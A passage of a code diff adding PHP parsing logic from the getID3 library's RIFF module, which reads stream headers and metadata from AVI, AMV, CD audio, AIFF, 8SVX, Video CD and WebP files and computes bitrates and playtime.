$thisfile_audio_dataformat = 'mp3'; + break; + + case 0x00FF: // AAC + $thisfile_audio_dataformat = 'aac'; + break; + + case 0x0161: // Windows Media v7 / v8 / v9 + case 0x0162: // Windows Media Professional v9 + case 0x0163: // Windows Media Lossess v9 + $thisfile_audio_dataformat = 'wma'; + break; + + case 0x2000: // AC-3 + $thisfile_audio_dataformat = 'ac3'; + break; + + case 0x2001: // DTS + $thisfile_audio_dataformat = 'dts'; + break; + + default: + $thisfile_audio_dataformat = 'wav'; + break; + } + $thisfile_audio_streams_currentstream['dataformat'] = $thisfile_audio_dataformat; + $thisfile_audio_streams_currentstream['lossless'] = $thisfile_audio['lossless']; + $thisfile_audio_streams_currentstream['bitrate_mode'] = $thisfile_audio['bitrate_mode']; + break; + + + case 'iavs': + case 'vids': + // shortcut + $thisfile_riff_raw['strh'][$i] = array(); + $thisfile_riff_raw_strh_current = &$thisfile_riff_raw['strh'][$i]; + + $thisfile_riff_raw_strh_current['fccType'] = substr($strhData, 0, 4); // same as $strhfccType; + $thisfile_riff_raw_strh_current['fccHandler'] = substr($strhData, 4, 4); + $thisfile_riff_raw_strh_current['dwFlags'] = $this->EitherEndian2Int(substr($strhData, 8, 4)); // Contains AVITF_* flags + $thisfile_riff_raw_strh_current['wPriority'] = $this->EitherEndian2Int(substr($strhData, 12, 2)); + $thisfile_riff_raw_strh_current['wLanguage'] = $this->EitherEndian2Int(substr($strhData, 14, 2)); + $thisfile_riff_raw_strh_current['dwInitialFrames'] = $this->EitherEndian2Int(substr($strhData, 16, 4)); + $thisfile_riff_raw_strh_current['dwScale'] = $this->EitherEndian2Int(substr($strhData, 20, 4)); + $thisfile_riff_raw_strh_current['dwRate'] = $this->EitherEndian2Int(substr($strhData, 24, 4)); + $thisfile_riff_raw_strh_current['dwStart'] = $this->EitherEndian2Int(substr($strhData, 28, 4)); + $thisfile_riff_raw_strh_current['dwLength'] = $this->EitherEndian2Int(substr($strhData, 32, 4)); + $thisfile_riff_raw_strh_current['dwSuggestedBufferSize'] = $this->EitherEndian2Int(substr($strhData, 36, 4)); + $thisfile_riff_raw_strh_current['dwQuality'] = $this->EitherEndian2Int(substr($strhData, 40, 4)); + $thisfile_riff_raw_strh_current['dwSampleSize'] = $this->EitherEndian2Int(substr($strhData, 44, 4)); + $thisfile_riff_raw_strh_current['rcFrame'] = $this->EitherEndian2Int(substr($strhData, 48, 4)); + + $thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strh_current['fccHandler']); + $thisfile_video['fourcc'] = $thisfile_riff_raw_strh_current['fccHandler']; + if (!$thisfile_riff_video_current['codec'] && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) && self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) { + $thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']); + $thisfile_video['fourcc'] = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']; + } + $thisfile_video['codec'] = $thisfile_riff_video_current['codec']; + $thisfile_video['pixel_aspect_ratio'] = (float) 1; + switch ($thisfile_riff_raw_strh_current['fccHandler']) { + case 'HFYU': // Huffman Lossless Codec + case 'IRAW': // Intel YUV Uncompressed + case 'YUY2': // Uncompressed YUV 4:2:2 + $thisfile_video['lossless'] = true; + break; + + default: + $thisfile_video['lossless'] = false; + break; + } + + switch ($strhfccType) { + case 'vids': + $thisfile_riff_raw_strf_strhfccType_streamindex = self::ParseBITMAPINFOHEADER(substr($strfData, 0, 40), ($this->container == 'riff')); + $thisfile_video['bits_per_sample'] = $thisfile_riff_raw_strf_strhfccType_streamindex['biBitCount']; + + if ($thisfile_riff_video_current['codec'] == 'DV') { + $thisfile_riff_video_current['dv_type'] = 2; + } + break; + + case 'iavs': + $thisfile_riff_video_current['dv_type'] = 1; + break; + } + break; + + default: + $this->warning('Unhandled fccType for stream ('.$i.'): "'.$strhfccType.'"'); + break; + + } + } + } + + if (isset($thisfile_riff_raw_strf_strhfccType_streamindex) && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) { + + $thisfile_video['fourcc'] = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']; + if (self::fourccLookup($thisfile_video['fourcc'])) { + $thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_video['fourcc']); + $thisfile_video['codec'] = $thisfile_riff_video_current['codec']; + } + + switch ($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) { + case 'HFYU': // Huffman Lossless Codec + case 'IRAW': // Intel YUV Uncompressed + case 'YUY2': // Uncompressed YUV 4:2:2 + $thisfile_video['lossless'] = true; + //$thisfile_video['bits_per_sample'] = 24; + break; + + default: + $thisfile_video['lossless'] = false; + //$thisfile_video['bits_per_sample'] = 24; + break; + } + + } + } + } + } + break; + + + case 'AMV ': + $info['fileformat'] = 'amv'; + $info['mime_type'] = 'video/amv'; + + $thisfile_video['bitrate_mode'] = 'vbr'; // it's MJPEG, presumably contant-quality encoding, thereby VBR + $thisfile_video['dataformat'] = 'mjpeg'; + $thisfile_video['codec'] = 'mjpeg'; + $thisfile_video['lossless'] = false; + $thisfile_video['bits_per_sample'] = 24; + + $thisfile_audio['dataformat'] = 'adpcm'; + $thisfile_audio['lossless'] = false; + break; + + + // http://en.wikipedia.org/wiki/CD-DA + case 'CDDA': + $info['fileformat'] = 'cda'; + unset($info['mime_type']); + + $thisfile_audio_dataformat = 'cda'; + + $info['avdataoffset'] = 44; + + if (isset($thisfile_riff['CDDA']['fmt '][0]['data'])) { + // shortcut + $thisfile_riff_CDDA_fmt_0 = &$thisfile_riff['CDDA']['fmt '][0]; + + $thisfile_riff_CDDA_fmt_0['unknown1'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 0, 2)); + $thisfile_riff_CDDA_fmt_0['track_num'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 2, 2)); + $thisfile_riff_CDDA_fmt_0['disc_id'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 4, 4)); + $thisfile_riff_CDDA_fmt_0['start_offset_frame'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 8, 4)); + $thisfile_riff_CDDA_fmt_0['playtime_frames'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 12, 4)); + $thisfile_riff_CDDA_fmt_0['unknown6'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 16, 4)); + $thisfile_riff_CDDA_fmt_0['unknown7'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 20, 4)); + + $thisfile_riff_CDDA_fmt_0['start_offset_seconds'] = (float) $thisfile_riff_CDDA_fmt_0['start_offset_frame'] / 75; + $thisfile_riff_CDDA_fmt_0['playtime_seconds'] = (float) $thisfile_riff_CDDA_fmt_0['playtime_frames'] / 75; + $info['comments']['track_number'] = $thisfile_riff_CDDA_fmt_0['track_num']; + $info['playtime_seconds'] = $thisfile_riff_CDDA_fmt_0['playtime_seconds']; + + // hardcoded data for CD-audio + $thisfile_audio['lossless'] = true; + $thisfile_audio['sample_rate'] = 44100; + $thisfile_audio['channels'] = 2; + $thisfile_audio['bits_per_sample'] = 16; + $thisfile_audio['bitrate'] = $thisfile_audio['sample_rate'] * $thisfile_audio['channels'] * $thisfile_audio['bits_per_sample']; + $thisfile_audio['bitrate_mode'] = 'cbr'; + } + break; + + // http://en.wikipedia.org/wiki/AIFF + case 'AIFF': + case 'AIFC': + $info['fileformat'] = 'aiff'; + $info['mime_type'] = 'audio/x-aiff'; + + $thisfile_audio['bitrate_mode'] = 'cbr'; + $thisfile_audio_dataformat = 'aiff'; + $thisfile_audio['lossless'] = true; + + if (isset($thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'])) { + $info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'] + 8; + $info['avdataend'] = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['SSND'][0]['size']; + if ($info['avdataend'] > $info['filesize']) { + if (($info['avdataend'] == ($info['filesize'] + 1)) && (($info['filesize'] % 2) == 1)) { + // structures rounded to 2-byte boundary, but dumb encoders + // forget to pad end of file to make this actually work + } else { + $this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['SSND'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found'); + } + $info['avdataend'] = $info['filesize']; + } + } + + if (isset($thisfile_riff[$RIFFsubtype]['COMM'][0]['data'])) { + + // shortcut + $thisfile_riff_RIFFsubtype_COMM_0_data = &$thisfile_riff[$RIFFsubtype]['COMM'][0]['data']; + + $thisfile_riff_audio['channels'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 0, 2), true); + $thisfile_riff_audio['total_samples'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 2, 4), false); + $thisfile_riff_audio['bits_per_sample'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 6, 2), true); + $thisfile_riff_audio['sample_rate'] = (int) getid3_lib::BigEndian2Float(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 8, 10)); + + if ($thisfile_riff[$RIFFsubtype]['COMM'][0]['size'] > 18) { + $thisfile_riff_audio['codec_fourcc'] = substr($thisfile_riff_RIFFsubtype_COMM_0_data, 18, 4); + $CodecNameSize = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 22, 1), false); + $thisfile_riff_audio['codec_name'] = substr($thisfile_riff_RIFFsubtype_COMM_0_data, 23, $CodecNameSize); + switch ($thisfile_riff_audio['codec_name']) { + case 'NONE': + $thisfile_audio['codec'] = 'Pulse Code Modulation (PCM)'; + $thisfile_audio['lossless'] = true; + break; + + case '': + switch ($thisfile_riff_audio['codec_fourcc']) { + // http://developer.apple.com/qa/snd/snd07.html + case 'sowt': + $thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Little-Endian PCM'; + $thisfile_audio['lossless'] = true; + break; + + case 'twos': + $thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Big-Endian PCM'; + $thisfile_audio['lossless'] = true; + break; + + default: + break; + } + break; + + default: + $thisfile_audio['codec'] = $thisfile_riff_audio['codec_name']; + $thisfile_audio['lossless'] = false; + break; + } + } + + $thisfile_audio['channels'] = $thisfile_riff_audio['channels']; + if ($thisfile_riff_audio['bits_per_sample'] > 0) { + $thisfile_audio['bits_per_sample'] = $thisfile_riff_audio['bits_per_sample']; + } + $thisfile_audio['sample_rate'] = $thisfile_riff_audio['sample_rate']; + if ($thisfile_audio['sample_rate'] == 0) { + $this->error('Corrupted AIFF file: sample_rate == zero'); + return false; + } + $info['playtime_seconds'] = $thisfile_riff_audio['total_samples'] / $thisfile_audio['sample_rate']; + } + + if (isset($thisfile_riff[$RIFFsubtype]['COMT'])) { + $offset = 0; + $CommentCount = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false); + $offset += 2; + for ($i = 0; $i < $CommentCount; $i++) { + $info['comments_raw'][$i]['timestamp'] = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 4), false); + $offset += 4; + $info['comments_raw'][$i]['marker_id'] = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), true); + $offset += 2; + $CommentLength = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false); + $offset += 2; + $info['comments_raw'][$i]['comment'] = substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, $CommentLength); + $offset += $CommentLength; + + $info['comments_raw'][$i]['timestamp_unix'] = getid3_lib::DateMac2Unix($info['comments_raw'][$i]['timestamp']); + $thisfile_riff['comments']['comment'][] = $info['comments_raw'][$i]['comment']; + } + } + + $CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment'); + foreach ($CommentsChunkNames as $key => $value) { + if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) { + $thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data']; + } + } +/* + if (isset($thisfile_riff[$RIFFsubtype]['ID3 '])) { + getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_id3v2 = new getid3_id3v2($getid3_temp); + $getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['ID3 '][0]['offset'] + 8; + if ($thisfile_riff[$RIFFsubtype]['ID3 '][0]['valid'] = $getid3_id3v2->Analyze()) { + $info['id3v2'] = $getid3_temp->info['id3v2']; + } + unset($getid3_temp, $getid3_id3v2); + } +*/ + break; + + // http://en.wikipedia.org/wiki/8SVX + case '8SVX': + $info['fileformat'] = '8svx'; + $info['mime_type'] = 'audio/8svx'; + + $thisfile_audio['bitrate_mode'] = 'cbr'; + $thisfile_audio_dataformat = '8svx'; + $thisfile_audio['bits_per_sample'] = 8; + $thisfile_audio['channels'] = 1; // overridden below, if need be + $ActualBitsPerSample = 0; + + if (isset($thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'])) { + $info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'] + 8; + $info['avdataend'] = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['BODY'][0]['size']; + if ($info['avdataend'] > $info['filesize']) { + $this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['BODY'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found'); + } + } + + if (isset($thisfile_riff[$RIFFsubtype]['VHDR'][0]['offset'])) { + // shortcut + $thisfile_riff_RIFFsubtype_VHDR_0 = &$thisfile_riff[$RIFFsubtype]['VHDR'][0]; + + $thisfile_riff_RIFFsubtype_VHDR_0['oneShotHiSamples'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 0, 4)); + $thisfile_riff_RIFFsubtype_VHDR_0['repeatHiSamples'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 4, 4)); + $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerHiCycle'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 8, 4)); + $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 12, 2)); + $thisfile_riff_RIFFsubtype_VHDR_0['ctOctave'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 14, 1)); + $thisfile_riff_RIFFsubtype_VHDR_0['sCompression'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 15, 1)); + $thisfile_riff_RIFFsubtype_VHDR_0['Volume'] = getid3_lib::FixedPoint16_16(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 16, 4)); + + $thisfile_audio['sample_rate'] = $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec']; + + switch ($thisfile_riff_RIFFsubtype_VHDR_0['sCompression']) { + case 0: + $thisfile_audio['codec'] = 'Pulse Code Modulation (PCM)'; + $thisfile_audio['lossless'] = true; + $ActualBitsPerSample = 8; + break; + + case 1: + $thisfile_audio['codec'] = 'Fibonacci-delta encoding'; + $thisfile_audio['lossless'] = false; + $ActualBitsPerSample = 4; + break; + + default: + $this->warning('Unexpected sCompression value in 8SVX.VHDR chunk - expecting 0 or 1, found "'.$thisfile_riff_RIFFsubtype_VHDR_0['sCompression'].'"'); + break; + } + } + + if (isset($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'])) { + $ChannelsIndex = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'], 0, 4)); + switch ($ChannelsIndex) { + case 6: // Stereo + $thisfile_audio['channels'] = 2; + break; + + case 2: // Left channel only + case 4: // Right channel only + $thisfile_audio['channels'] = 1; + break; + + default: + $this->warning('Unexpected value in 8SVX.CHAN chunk - expecting 2 or 4 or 6, found "'.$ChannelsIndex.'"'); + break; + } + + } + + $CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment'); + foreach ($CommentsChunkNames as $key => $value) { + if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) { + $thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data']; + } + } + + $thisfile_audio['bitrate'] = $thisfile_audio['sample_rate'] * $ActualBitsPerSample * $thisfile_audio['channels']; + if (!empty($thisfile_audio['bitrate'])) { + $info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) / ($thisfile_audio['bitrate'] / 8); + } + break; + + case 'CDXA': + $info['fileformat'] = 'vcd'; // Asume Video CD + $info['mime_type'] = 'video/mpeg'; + + if (!empty($thisfile_riff['CDXA']['data'][0]['size'])) { + getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.mpeg.php', __FILE__, true); + + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_mpeg = new getid3_mpeg($getid3_temp); + $getid3_mpeg->Analyze(); + if (empty($getid3_temp->info['error'])) { + $info['audio'] = $getid3_temp->info['audio']; + $info['video'] = $getid3_temp->info['video']; + $info['mpeg'] = $getid3_temp->info['mpeg']; + $info['warning'] = $getid3_temp->info['warning']; + } + unset($getid3_temp, $getid3_mpeg); + } + break; + + case 'WEBP': + // https://developers.google.com/speed/webp/docs/riff_container + // https://tools.ietf.org/html/rfc6386 + // https://chromium.googlesource.com/webm/libwebp/+/master/doc/webp-lossless-bitstream-spec.txt + $info['fileformat'] = 'webp'; + $info['mime_type'] = 'image/webp'; + + if (!empty($thisfile_riff['WEBP']['VP8 '][0]['size'])) { + $old_offset = $this->ftell(); + $this->fseek($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8); // 4 bytes "VP8 " + 4 bytes chunk size + $WEBP_VP8_header = $this->fread(10); + $this->fseek($old_offset); + if (substr($WEBP_VP8_header, 3, 3) == "\x9D\x01\x2A") { + $thisfile_riff['WEBP']['VP8 '][0]['keyframe'] = !(getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x800000); + $thisfile_riff['WEBP']['VP8 '][0]['version'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x700000) >> 20; + $thisfile_riff['WEBP']['VP8 '][0]['show_frame'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x080000); + $thisfile_riff['WEBP']['VP8 '][0]['data_bytes'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x07FFFF) >> 0; + + $thisfile_riff['WEBP']['VP8 '][0]['scale_x'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0xC000) >> 14; + $thisfile_riff['WEBP']['VP8 '][0]['width'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0x3FFF); + $thisfile_riff['WEBP']['VP8 '][0]['scale_y'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0xC000) >> 14; + $thisfile_riff['WEBP']['VP8 '][0]['height'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0x3FFF); + + $info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8 '][0]['width']; + $info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8 '][0]['height']; + } else { + $this->error('Expecting 9D 01 2A at offset '.($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8 + 3).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8_header, 3, 3)).'"'); + } + + } + if (!empty($thisfile_riff['WEBP']['VP8L'][0]['size'])) { + $old_offset = $this->ftell(); + $this->fseek($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8); // 4 bytes "VP8L" + 4 bytes chunk size + $WEBP_VP8L_header = $this->fread(10); + $this->fseek($old_offset); + if (substr($WEBP_VP8L_header, 0, 1) == "\x2F") { + $width_height_flags = getid3_lib::LittleEndian2Bin(substr($WEBP_VP8L_header, 1, 4)); + $thisfile_riff['WEBP']['VP8L'][0]['width'] = bindec(substr($width_height_flags, 18, 14)) + 1; + $thisfile_riff['WEBP']['VP8L'][0]['height'] = bindec(substr($width_height_flags, 4, 14)) + 1; + $thisfile_riff['WEBP']['VP8L'][0]['alpha_is_used'] = (bool) bindec(substr($width_height_flags, 3, 1)); + $thisfile_riff['WEBP']['VP8L'][0]['version'] = bindec(substr($width_height_flags, 0, 3)); + + $info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8L'][0]['width']; + $info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8L'][0]['height']; + } else { + $this->error('Expecting 2F at offset '.($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8L_header, 0, 1)).'"'); + } + + } + break; + + default: + $this->error('Unknown RIFF type: expecting one of (WAVE|RMP3|AVI |CDDA|AIFF|AIFC|8SVX|CDXA|WEBP), found "'.$RIFFsubtype.'" instead'); + //unset($info['fileformat']); + } + + switch ($RIFFsubtype) { + case 'WAVE': + case 'AIFF': + case 'AIFC': + $ID3v2_key_good = 'id3 '; + $ID3v2_keys_bad = array('ID3 ', 'tag '); + foreach ($ID3v2_keys_bad as $ID3v2_key_bad) { + if (isset($thisfile_riff[$RIFFsubtype][$ID3v2_key_bad]) && !array_key_exists($ID3v2_key_good, $thisfile_riff[$RIFFsubtype])) { + $thisfile_riff[$RIFFsubtype][$ID3v2_key_good] = $thisfile_riff[$RIFFsubtype][$ID3v2_key_bad]; + $this->warning('mapping "'.$ID3v2_key_bad.'" chunk to "'.$ID3v2_key_good.'"'); + } + } + + if (isset($thisfile_riff[$RIFFsubtype]['id3 '])) { + getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); + + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_id3v2 = new getid3_id3v2($getid3_temp); + $getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['id3 '][0]['offset'] + 8; + if ($thisfile_riff[$RIFFsubtype]['id3 '][0]['valid'] = $getid3_id3v2->Analyze()) { + $info['id3v2'] = $getid3_temp->info['id3v2']; + } + unset($getid3_temp, $getid3_id3v2); + } + break; + } + + if (isset($thisfile_riff_WAVE['DISP']) && is_array($thisfile_riff_WAVE['DISP'])) { + $thisfile_riff['comments']['title'][] = trim(substr($thisfile_riff_WAVE['DISP'][count($thisfile_riff_WAVE['DISP']) - 1]['data'], 4)); + } + if (isset($thisfile_riff_WAVE['INFO']) && is_array($thisfile_riff_WAVE['INFO'])) { + self::parseComments($thisfile_riff_WAVE['INFO'], $thisfile_riff['comments']); + } + if (isset($thisfile_riff['AVI ']['INFO']) && is_array($thisfile_riff['AVI ']['INFO'])) { + self::parseComments($thisfile_riff['AVI ']['INFO'], $thisfile_riff['comments']); + } + + if (empty($thisfile_audio['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version'])) { + $thisfile_audio['encoder'] = $info['mpeg']['audio']['LAME']['short_version']; + } + + if (!isset($info['playtime_seconds'])) { + $info['playtime_seconds'] = 0; + } + if (isset($thisfile_riff_raw['strh'][0]['dwLength']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) { + // needed for >2GB AVIs where 'avih' chunk only lists number of frames in that chunk, not entire movie + $info['playtime_seconds'] = $thisfile_riff_raw['strh'][0]['dwLength'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000); + } elseif (isset($thisfile_riff_raw['avih']['dwTotalFrames']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) { + $info['playtime_seconds'] = $thisfile_riff_raw['avih']['dwTotalFrames'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000); + } + + if ($info['playtime_seconds'] > 0) { + if (isset($thisfile_riff_audio) && isset($thisfile_riff_video)) { + + if (!isset($info['bitrate'])) { + $info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); + } + + } elseif (isset($thisfile_riff_audio) && !isset($thisfile_riff_video)) { + + if (!isset($thisfile_audio['bitrate'])) { + $thisfile_audio['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); + } + + } elseif (!isset($thisfile_riff_audio) && isset($thisfile_riff_video)) { + + if (!isset($thisfile_video['bitrate'])) { + $thisfile_video['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); + } + + } + } + + + if (isset($thisfile_riff_video) && isset($thisfile_audio['bitrate']) && ($thisfile_audio['bitrate'] > 0) && ($info['playtime_seconds'] > 0)) { + + $info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); + $thisfile_audio['bitrate'] = 0; + $thisfile_video['bitrate'] = $info['bitrate']; + foreach ($thisfile_riff_audio as $channelnumber => $audioinfoarray) { + $thisfile_video['bitrate'] -= $audioinfoarray['bitrate']; + $thisfile_audio['bitrate'] += $audioinfoarray['bitrate']; + } + if ($thisfile_video['bitrate'] <= 0) { + unset($thisfile_video['bitrate']); + } + if ($thisfile_audio['bitrate'] <= 0) { + unset($thisfile_audio['bitrate']); + } + } + + if (isset($info['mpeg']['audio'])) { + $thisfile_audio_dataformat = 'mp'.$info['mpeg']['audio']['layer']; + $thisfile_audio['sample_rate'] = $info['mpeg']['audio']['sample_rate']; + $thisfile_audio['channels'] = $info['mpeg']['audio']['channels']; + $thisfile_audio['bitrate'] = $info['mpeg']['audio']['bitrate']; + $thisfile_audio['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']); + if (!empty($info['mpeg']['audio']['codec'])) { + $thisfile_audio['codec'] = $info['mpeg']['audio']['codec'].' '.$thisfile_audio['codec']; + } + if (!empty($thisfile_audio['streams'])) { + foreach ($thisfile_audio['streams'] as $streamnumber => $streamdata) { + if ($streamdata['dataformat'] == $thisfile_audio_dataformat) { + $thisfile_audio['streams'][$streamnumber]['sample_rate'] = $thisfile_audio['sample_rate']; + $thisfile_audio['streams'][$streamnumber]['channels'] = $thisfile_audio['channels']; + $thisfile_audio['streams'][$streamnumber]['bitrate'] = $thisfile_audio['bitrate']; + $thisfile_audio['streams'][$streamnumber]['bitrate_mode'] = $thisfile_audio['bitrate_mode']; + $thisfile_audio['streams'][$streamnumber]['codec'] = $thisfile_audio['codec']; + } + } + } + $getid3_mp3 = new getid3_mp3($this->getid3); + $thisfile_audio['encoder_options'] = $getid3_mp3->GuessEncoderOptions(); + unset($getid3_mp3); + } + + + if (!empty($thisfile_riff_raw['fmt ']['wBitsPerSample']) && ($thisfile_riff_raw['fmt ']['wBitsPerSample'] > 0)) { + switch ($thisfile_audio_dataformat) { + case 'ac3': + // ignore bits_per_sample + break; + + default: + $thisfile_audio['bits_per_sample'] = $thisfile_riff_raw['fmt ']['wBitsPerSample']; + break; + } + } + + + if (empty($thisfile_riff_raw)) { + unset($thisfile_riff['raw']); + } + if (empty($thisfile_riff_audio)) { + unset($thisfile_riff['audio']); + } + if (empty($thisfile_riff_video)) { + unset($thisfile_riff['video']); + } + + return true; + } + + /** + * @param int $startoffset + * @param int $maxoffset + * + * @return array|false + * + * @throws Exception + * @throws getid3_exception + */ + public function ParseRIFFAMV($startoffset, $maxoffset) { + // AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size + + // https://code.google.com/p/amv-codec-tools/wiki/AmvDocumentation + //typedef struct _amvmainheader { + //FOURCC fcc; // 'amvh' + //DWORD cb; + //DWORD dwMicroSecPerFrame; + //BYTE reserve[28]; + //DWORD dwWidth; + //DWORD dwHeight; + //DWORD dwSpeed; + //DWORD reserve0; + //DWORD reserve1; + //BYTE bTimeSec; + //BYTE bTimeMin; + //WORD wTimeHour; + //} AMVMAINHEADER; + + $info = &$this->getid3->info; + $RIFFchunk = false; + + try { + + $this->fseek($startoffset); + $maxoffset = min($maxoffset, $info['avdataend']); + $AMVheader = $this->fread(284); + if (substr($AMVheader, 0, 8) != 'hdrlamvh') { + throw new Exception('expecting "hdrlamv" at offset '.($startoffset + 0).', found "'.substr($AMVheader, 0, 8).'"'); + } + if (substr($AMVheader, 8, 4) != "\x38\x00\x00\x00") { // "amvh" chunk size, hardcoded to 0x38 = 56 bytes + throw new Exception('expecting "0x38000000" at offset '.($startoffset + 8).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 8, 4)).'"'); + } + $RIFFchunk = array(); + $RIFFchunk['amvh']['us_per_frame'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 12, 4)); + $RIFFchunk['amvh']['reserved28'] = substr($AMVheader, 16, 28); // null? reserved? + $RIFFchunk['amvh']['resolution_x'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 44, 4)); + 